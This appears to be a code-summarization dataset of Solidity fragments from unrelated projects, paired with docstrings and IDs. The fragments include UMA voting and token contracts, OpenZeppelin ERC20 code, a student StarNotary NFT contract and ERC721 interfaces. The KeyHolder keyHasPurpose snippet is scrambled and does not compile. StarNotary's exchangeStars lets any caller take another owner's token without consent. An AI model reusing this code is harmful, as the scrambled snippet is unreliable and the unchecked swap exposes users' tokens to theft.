function _encodePriceRequest(bytes32 identifier, uint time) private pure returns (bytes32) {
return keccak256(abi.encode(identifier, time));
}
function _getOrCreateSnapshotId(uint roundId) private returns (uint) {
Round storage round = rounds[roundId];
if (round.snapshotId == 0) {
// There is no snapshot ID set, so create one.
round.snapshotId = votingToken.snapshot();
}
return round.snapshotId;
}
function _resolvePriceRequest(PriceRequest storage priceRequest, VoteInstance storage voteInstance) private {
if (priceRequest.index == UINT_MAX) {
return;
}
(bool isResolved, int resolvedPrice) = voteInstance.resultComputation.getResolvedPrice(
_computeGat(priceRequest.lastVotingRound));
require(isResolved, "Can't resolve an unresolved price request");
// Delete the resolved price request from pendingPriceRequests.
uint lastIndex = pendingPriceRequests.length - 1;
PriceRequest storage lastPriceRequest = priceRequests[pendingPriceRequests[lastIndex]];
lastPriceRequest.index = priceRequest.index;
pendingPriceRequests[priceRequest.index] = pendingPriceRequests[lastIndex];
delete pendingPriceRequests[lastIndex];
priceRequest.index = UINT_MAX;
emit PriceResolved(priceRequest.lastVotingRound, priceRequest.identifier, priceRequest.time, resolvedPrice);
}
function _updateRound(uint blockTime) private {
if (!voteTiming.shouldUpdateRoundId(blockTime)) {
return;
}
uint nextVotingRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Set the round inflation rate to the current global inflation rate.
rounds[nextVotingRoundId].inflationRate = inflationRate;
// Update the stored round to the current one.
voteTiming.updateRoundId(blockTime);
}
function _computeGat(uint roundId) private view returns (FixedPoint.Unsigned memory) {
uint snapshotId = rounds[roundId].snapshotId;
if (snapshotId == 0) {
// No snapshot - return max value to err on the side of caution.
return FixedPoint.Unsigned(UINT_MAX);
}
// Grab the snaphotted supply from the voting token. It's already scaled by 10**18, so we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory snapshottedSupply = FixedPoint.Unsigned(votingToken.totalSupplyAt(snapshotId));
// Multiply the total supply at the snapshot by the gatPercentage to get the GAT in number of tokens.
return snapshottedSupply.mul(gatPercentage);
}
function _getRequestStatus(PriceRequest storage priceRequest, uint currentRoundId)
private
view
returns (RequestStatus)
{
if (priceRequest.lastVotingRound == 0) {
return RequestStatus.NotRequested;
} else if (priceRequest.lastVotingRound < currentRoundId) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(bool isResolved, ) = voteInstance.resultComputation.getResolvedPrice(
_computeGat(priceRequest.lastVotingRound));
return isResolved ? RequestStatus.Resolved : RequestStatus.Active;
} else if (priceRequest.lastVotingRound == currentRoundId) {
return RequestStatus.Active;
} else {
// Means than priceRequest.lastVotingRound > currentRoundId
return RequestStatus.Future;
}
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint value) external;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint value) external returns (bool);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Snapshot is ERC20 {
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
event Snapshot(uint256 id);
// Creates a new snapshot id. Balances are only stored in snapshots on demand: unless a snapshot was taken, a
// balance change will not be recorded. This means the extra added cost of storing snapshotted balances is only paid
// when required, but is also flexible enough that it allows for e.g. daily snapshots.
function snapshot() public returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
contract VotingToken is ExpandedIERC20, ERC20Snapshot, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
// Standard ERC20 metadata.
string public constant name = "UMA Voting Token v1"; // solhint-disable-line const-name-snakecase
string public constant symbol = "UMA"; // solhint-disable-line const-name-snakecase
uint8 public constant decimals = 18; // solhint-disable-line const-name-snakecase
constructor() public {
_createExclusiveRole(uint(Roles.Owner), uint(Roles.Owner), msg.sender);
_createSharedRole(uint(Roles.Minter), uint(Roles.Owner), new address[](0));
_createSharedRole(uint(Roles.Burner), uint(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
*/
function mint(address recipient, uint value) external onlyRoleHolder(uint(Roles.Minter)) returns (bool) {
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
*/
function burn(uint value) external onlyRoleHolder(uint(Roles.Burner)) {
_burn(msg.sender, value);
}
}
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
|
* @notice Computes what the stored round id would be if it were updated right now, but this method does not commit the update./
|
function computeCurrentRoundId(Data storage data, uint currentTime) internal view returns (uint roundId) {
(roundId,) = _getCurrentRoundIdAndStartTime(data, currentTime);
}
| 1,827,119
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pragma solidity ^0.5.0;
import '../interfaces/IERC20.sol';
import '../access/roles/MinterRole.sol';
import '../math/SafeMath.sol';
import './SafeERC20.sol';
/**
* @title Token
* @dev Contract that implements ERC20 token standard
* Is deployed by `Crowdsale.sol`, keeps track of gBalances, etc.
*/
contract Token is IERC20, MinterRole {
using SafeMath for uint256;
using SafeERC20 for IERC20;
mapping (address => uint256) private gBalances;
mapping (address => mapping (address =>uint256)) private gAllowed;
/// total amount of tokens
uint256 public gTotalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return gTotalSupply;
}
/// @param owner_ The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address owner_) public view returns (uint256){
return gBalances[owner_];
}
/// @notice send `value_` token to `_to` from `msg.sender`
/// @param to_ The address of the recipient
/// @param value_ The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address to_, uint256 value_) public returns (bool){
_transfer(msg.sender, to_, value_);
return true;
}
/// @notice send `value_` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param from_ The address of the sender
/// @param to_ The address of the recipient
/// @param value_ The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address from_, address to_, uint256 value_) public returns (bool){
gAllowed[from_][msg.sender] = gAllowed[from_][msg.sender].sub(value_);
_transfer(from_, to_, value_);
emit Approval(from_, msg.sender, gAllowed[from_][msg.sender]);
return true;
}
/// @notice `msg.sender` approves `spender_` to spend `value_` tokens
/// @param spender_ The address of the account able to transfer the tokens
/// @param value_ The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address spender_, uint256 value_) public returns (bool){
require(spender_ != address(0));
gAllowed[msg.sender][spender_] = value_;
emit Approval(msg.sender, spender_, value_);
return true;
}
/// @param owner_ The address of the account owning tokens
/// @param spender_ The address of the account able to transfer the tokens
/// @return Amount of remaining tokens gAllowed to spent
function allowance(address owner_, address spender_) public view returns (uint256){
return gAllowed[owner_][spender_];
}
/**
* @dev Function to mint tokens
* @param to_ The address that will receive the minted tokens.
* @param value_ The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to_, uint256 value_) public onlyMinter returns (bool) {
_mint(to_, value_);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param value_ The amount of token to be burned.
*/
function burn(uint256 value_) public {
_burn(msg.sender, value_);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from_ address The address which you want to send tokens from
* @param value_ uint256 The amount of token to be burned
*/
function burnFrom(address from_, uint256 value_) public {
_burnFrom(from_, value_);
}
/**
* @dev Transfer token for a specified addresses
* @param from_ The address to transfer from.
* @param to_ The address to transfer to.
* @param value_ The amount to be transferred.
*/
function _transfer(address from_, address to_, uint256 value_) internal {
require(to_ != address(0));
gBalances[from_] = gBalances[from_].sub(value_);
gBalances[to_] = gBalances[to_].add(value_);
emit Transfer(from_, to_, value_);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of gBalances such that the
* proper events are emitted.
* @param account_ The account that will receive the created tokens.
* @param value_ The amount that will be created.
*/
function _mint(address account_, uint256 value_) internal {
require(account_ != address(0));
gTotalSupply = gTotalSupply.add(value_);
gBalances[account_] = gBalances[account_].add(value_);
emit Transfer(address(0), account_, value_);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account_ The account whose tokens will be burnt.
* @param value_ The amount that will be burnt.
*/
function _burn(address account_, uint256 value_) internal {
require(account_ != address(0));
gTotalSupply = gTotalSupply.sub(value_);
gBalances[account_] = gBalances[account_].sub(value_);
emit Transfer(account_, address(0), value_);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account_ The account whose tokens will be burnt.
* @param value_ The amount that will be burnt.
*/
function _burnFrom(address account_, uint256 value_) internal {
gAllowed[account_][msg.sender] = gAllowed[account_][msg.sender].sub(value_);
_burn(account_, value_);
emit Approval(account_, msg.sender, gAllowed[account_][msg.sender]);
}
}
|
* @dev Internal function that burns an amount of the token of a given account. @param account_ The account whose tokens will be burnt. @param value_ The amount that will be burnt./
|
function _burn(address account_, uint256 value_) internal {
require(account_ != address(0));
gTotalSupply = gTotalSupply.sub(value_);
gBalances[account_] = gBalances[account_].sub(value_);
emit Transfer(account_, address(0), value_);
}
| 14,114,716
|
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pragma solidity >=0.4.21 <0.6.0;
import "../node_modules/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
contract StarNotary is ERC721 {
struct Star {
string name;
}
// Add a name and a symbol for your starNotary tokens
string public name = "Abdulaziz Token";
string public symbol = "AZIZ";
//
mapping(uint256 => Star) public tokenIdToStarInfo;
mapping(uint256 => uint256) public starsForSale;
//mapping between address and owned starts
mapping(address => uint256[]) ownedTokens;
// Mapping from token ID to index of the owner token list
mapping(uint256 => uint256) private ownedTokensIndex;
function createStar(string memory _name, uint256 _tokenId) public {
Star memory newStar = Star(_name);
tokenIdToStarInfo[_tokenId] = newStar;
_mint(msg.sender, _tokenId);
}
// Add a function lookUptokenIdToStarInfo, that looks up the stars using the Token ID, and then returns the name of the star.
function lookUptokenIdToStarInfo(uint256 _tokenId) public view returns (string memory starName){
Star memory lookupStar = tokenIdToStarInfo[_tokenId];
starName = lookupStar.name;
return starName;
}
//
function putStarUpForSale(uint256 _tokenId, uint256 _price) public {
require(ownerOf(_tokenId) == msg.sender);
starsForSale[_tokenId] = _price;
}
function buyStar(uint256 _tokenId) public payable {
require(starsForSale[_tokenId] > 0);
uint256 starCost = starsForSale[_tokenId];
address starOwner1 = ownerOf(_tokenId);
uint160 starOwner2 = uint160(starOwner1);
address payable starOwner = address(starOwner2);
require(msg.value >= starCost);
// _removeTokenFrom(starOwner, _tokenId);
// _addTokenTo(msg.sender, _tokenId);
_transferFrom(starOwner, msg.sender, _tokenId);
starOwner.transfer(starCost);
if(msg.value > starCost) {
msg.sender.transfer(msg.value - starCost);
}
starsForSale[_tokenId] = 0;
}
// Add a function called exchangeStars, so 2 users can exchange their star tokens...
//Do not worry about the price, just write code to exchange stars between users.
function exchangeStars(uint256 _tokenId1, uint256 _tokenId2) public{
require(msg.sender == ownerOf(_tokenId1));
address owner2 = ownerOf(_tokenId2);
//require(owner2 != address(0));
// putStarUpForSale(_tokenId1,0);
_transferFrom(msg.sender, owner2, _tokenId1);
_transferFrom(owner2, msg.sender, _tokenId2);
}
// Write a function to Transfer a Star. The function should transfer a star from the address of the caller.
// The function should accept 2 arguments, the address to transfer the star to, and the token ID of the star.
//
function transferStar(address _to, uint256 _tokenId) public {
require(msg.sender == ownerOf(_tokenId));
transferFrom(msg.sender, _to, _tokenId);
}
}
|
_removeTokenFrom(starOwner, _tokenId); _addTokenTo(msg.sender, _tokenId);
|
function buyStar(uint256 _tokenId) public payable {
require(starsForSale[_tokenId] > 0);
uint256 starCost = starsForSale[_tokenId];
address starOwner1 = ownerOf(_tokenId);
uint160 starOwner2 = uint160(starOwner1);
address payable starOwner = address(starOwner2);
require(msg.value >= starCost);
_transferFrom(starOwner, msg.sender, _tokenId);
starOwner.transfer(starCost);
if(msg.value > starCost) {
msg.sender.transfer(msg.value - starCost);
}
starsForSale[_tokenId] = 0;
}
| 6,369,815
|
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./full_match/80001/0x0B83D09485de46Da435C51122D5aCE9E79eF781F/sources/project_/contracts/KeyHolder.sol
|
* @dev See {IERC734-keyHasPurpose}. @notice Returns true if the key has MANAGEMENT purpose or the specified purpose./
|
) public view virtual override returns (bool result) {
Key memory keyBase = _keys[key];
if (keyBase.key == 0) return false;
for (
uint256 keyPurposeIndex = 0;
keyPurposeIndex < keyBase.purposes.length;
keyPurposeIndex++
function keyHasPurpose(
bytes32 key,
uint256 purpose
) {
uint256 purposeBase = keyBase.purposes[keyPurposeIndex];
if (purposeBase == 1 || purposeBase == purpose) return true;
}
return false;
}
| 5,643,632
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/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
